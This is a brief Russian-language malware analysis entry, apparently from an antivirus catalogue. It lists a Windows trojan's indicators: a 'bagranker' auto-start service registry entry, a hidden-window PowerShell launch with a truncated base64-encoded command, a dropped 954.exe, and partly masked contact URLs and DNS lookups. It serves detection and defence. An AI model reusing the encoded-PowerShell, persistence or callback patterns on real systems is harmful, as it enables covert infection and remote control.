Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\bagranker] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\bagranker] 'ImagePath' = '"%WINDIR%\SysWOW64\bagranker.exe"'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABEAHAAbgBvAGcAcQBvAHUAcQBjAHUAPQAnAEkAdQBwAGkAYQB2AHQAdwAnADsAJABGAHYAdAByAGUAbABiAHgAawByAHIAIAA9ACAAJwA5ADUANAAnADsAJABQAGIAYwByAHEAegBjAG8AegBtAD0AJwBXAHYAYwB4AHoAdABwAHQAegBmAGMAZAA...
- %HOMEPATH%\954.exe
- %HOMEPATH%\954.exe
- %HOMEPATH%\954.exe в %WINDIR%\syswow64\bagranker.exe
- %HOMEPATH%\954.exe
- http://es###rart.net/z4iacnp/hv1/
- http://18#.#31.62.54/mult/
- DNS ASK tc##myc.com
- DNS ASK la###syshop.com
- DNS ASK es###rart.net
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -enco JABEAHAAbgBvAGcAcQBvAHUAcQBjAHUAPQAnAEkAdQBwAGkAYQB2AHQAdwAnADsAJABGAHYAdAByAGUAbABiAHgAawByAHIAIAA9ACAAJwA5ADUANAAnADsAJABQAGIAYwByAHEAegBjAG8AegBtAD0AJwBXAHYAYwB4AHoAdABwAHQAegBmAGMAZAA...' (со скрытым окном)